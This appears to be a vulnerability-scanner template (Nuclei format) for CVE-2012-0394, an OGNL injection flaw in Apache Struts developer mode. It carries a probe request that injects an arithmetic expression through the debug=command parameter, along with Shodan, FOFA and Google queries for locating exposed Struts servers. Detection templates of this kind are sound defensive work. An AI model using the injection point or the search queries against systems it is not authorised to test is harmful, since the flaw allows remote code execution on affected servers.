id: CVE-2012-0394

info:
  name: Apache Struts <2.3.1.1 - Remote Code Execution
  author: tess
  severity: medium
  description: |
    Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
  reference:
    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
    - https://www.exploit-db.com/exploits/31434
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
    - http://www.exploit-db.com/exploits/18329
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0394
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0394
    cwe-id: CWE-94
    epss-score: 0.93572
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - html:"Struts Problem Report"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
      - http.html:"apache struts"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,ognl,injection,edb,apache,struts,vuln
variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{result}}'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008e8db9377f627e8718ee144912f4b9f3c8b1364acd4337b39589a87a36b6f660022048bd55856af6f92b378928a0471344fd8af0603700b80e3083d780b9aa9c75b9:922c64590222798bb761d5b6d8e72950